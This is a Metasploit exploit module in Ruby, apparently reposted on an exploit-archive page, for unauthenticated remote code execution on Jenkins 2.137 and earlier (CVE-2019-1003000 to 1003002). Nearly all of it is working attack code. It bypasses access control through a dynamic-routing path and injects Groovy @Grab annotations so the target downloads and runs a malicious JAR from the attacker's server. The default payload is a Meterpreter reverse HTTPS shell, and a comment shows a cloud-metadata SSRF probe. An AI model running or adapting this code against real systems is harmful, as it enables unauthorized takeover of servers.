Jenkins ACL Bypass / Metaprogramming Remote Code Execution

This Metasploit module exploits a vulnerability in Jenkins dynamic routing to bypass the Overall/Read ACL and leverage Groovy metaprogramming to download and execute a malicious JAR file. The ACL bypass gadget is specific to Jenkins versions 2.137 and below and will not work on later versions of Jenkins. Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.


MD5 | ebc7d597076f043f7e2c68f773bfe3fb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Jenkins ACL Bypass and Metaprogramming RCE',
'Description' => %q{
This module exploits a vulnerability in Jenkins dynamic routing to
bypass the Overall/Read ACL and leverage Groovy metaprogramming to
download and execute a malicious JAR file.

The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work
on later versions of Jenkins.

Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.
},
'Author' => [
'Orange Tsai', # Discovery and PoC
'wvu' # Metasploit module
],
'References' => [
['CVE', '2019-1003000'], # Script Security
['CVE', '2019-1003001'], # Pipeline: Groovy
['CVE', '2019-1003002'], # Pipeline: Declarative
['EDB', '46427'],
['URL', 'https://jenkins.io/security/advisory/2019-01-08/'],
['URL', 'https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html'],
['URL', 'https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html'],
['URL', 'https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc']
],
'DisclosureDate' => '2019-01-08', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Privileged' => false,
'Targets' => [
['Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61)',
'Version' => Gem::Version.new('2.137')
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_https'},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
},
'Stance' => Stance::Aggressive # Be aggressive, b-e aggressive!
))

register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Base path to Jenkins', '/'])
])

register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])

deregister_options('URIPATH')
end

=begin
http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]
=end
def check
checkcode = CheckCode::Safe

res = send_request_cgi(
'method' => 'GET',
'uri' => go_go_gadget1('/search/index'),
'vars_get' => {'q' => 'a'}
)

unless res && (version = res.headers['X-Jenkins'])
vprint_error('Jenkins not detected')
return CheckCode::Unknown
end

vprint_status("Jenkins #{version} detected")
checkcode = CheckCode::Detected

if Gem::Version.new(version) > target['Version']
vprint_error("Jenkins #{version} is not a supported target")
return CheckCode::Safe
end

vprint_good("Jenkins #{version} is a supported target")
checkcode = CheckCode::Appears

if res.body.include?('Administrator')
vprint_good('ACL bypass successful')
checkcode = CheckCode::Vulnerable
else
vprint_error('ACL bypass unsuccessful')
return CheckCode::Safe
end

checkcode
end

def exploit
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end

# NOTE: Jenkins/Groovy/Ivy uses HTTP unconditionally, so we can't use HTTPS
# HACK: Both HttpClient and HttpServer use datastore['SSL']
ssl = datastore['SSL']
datastore['SSL'] = false
start_service('Path' => '/')
datastore['SSL'] = ssl

print_status('Sending Jenkins and Groovy go-go-gadgets')
send_request_cgi(
'method' => 'GET',
'uri' => go_go_gadget1,
'vars_get' => {'value' => go_go_gadget2}
)
end

#
# Exploit methods
#

=begin
http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
?apiUrl=http://169.254.169.254/%23
&login=orange
&password=tsai
=end
def go_go_gadget1(custom_uri = nil)
# NOTE: See CVE-2018-1000408 for why we don't want to randomize the username
acl_bypass = normalize_uri(target_uri.path, '/securityRealm/user/admin')

return normalize_uri(acl_bypass, custom_uri) if custom_uri

normalize_uri(
acl_bypass,
'/descriptorByName',
'/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile'
)
end

=begin
http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;
=end
def go_go_gadget2
(
<<~EOF
@GrabConfig(disableChecksums=true)
@GrabResolver('http://#{srvhost_addr}:#{srvport}/')
@Grab('#{vendor}:#{app}:#{version}')
import #{app}
EOF
).strip
end

#
# Payload methods
#

#
# If you deviate from the following sequence, you will suffer!
#
# HEAD /path/to/pom.xml -> 404
# HEAD /path/to/payload.jar -> 200
# GET /path/to/payload.jar -> 200
#
def on_request_uri(cli, request)
vprint_status("#{request.method} #{request.uri} requested")

unless %w[HEAD GET].include?(request.method)
vprint_error("Ignoring #{request.method} request")
return
end

if request.method == 'HEAD'
if request.uri != payload_uri
vprint_error('Sending 404')
return send_not_found(cli)
end

vprint_good('Sending 200')
return send_response(cli, '')
end

if request.uri != payload_uri
vprint_error('Sending bogus file')
return send_response(cli, "#{Faker::Hacker.say_something_smart}\n")
end

vprint_good('Sending payload JAR')
send_response(
cli,
payload_jar,
'Content-Type' => 'application/java-archive'
)

# XXX: $HOME may not work in some cases
register_dir_for_cleanup("$HOME/.groovy/grapes/#{vendor}")
end

def payload_jar
jar = payload.encoded_jar

jar.add_file("#{app}.class", exploit_class)
jar.add_file(
'META-INF/services/org.codehaus.groovy.plugins.Runners',
"#{app}\n"
)

jar.pack
end

=begin javac Exploit.java
import metasploit.Payload;

public class Exploit {
public Exploit(){
try {
Payload.main(null);
} catch (Exception e) { }

}
}
=end
def exploit_class
klass = Rex::Text.decode_base64(
<<~EOF
yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYB
AARDb2RlAQANU3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNq
YXZhL2xhbmcvRXhjZXB0aW9uAQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmpl
Y3QBABJtZXRhc3Bsb2l0L1BheWxvYWQBAARtYWluAQAWKFtMamF2YS9sYW5n
L1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgAAAA3AAEAAgAAAA0q
twABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgABBwAL
AAAA
EOF
)

# Replace length-prefixed string "Exploit" with a random one
klass.sub(/.Exploit/, "#{[app.length].pack('C')}#{app}")
end

#
# Utility methods
#

def payload_uri
"/#{vendor}/#{app}/#{version}/#{app}-#{version}.jar"
end

def vendor
@vendor ||= Faker::App.author.split(/[^[:alpha:]]/).join
end

def app
@app ||= Faker::App.name.split(/[^[:alpha:]]/).join
end

def version
@version ||= Faker::App.semantic_version
end

end

Related Posts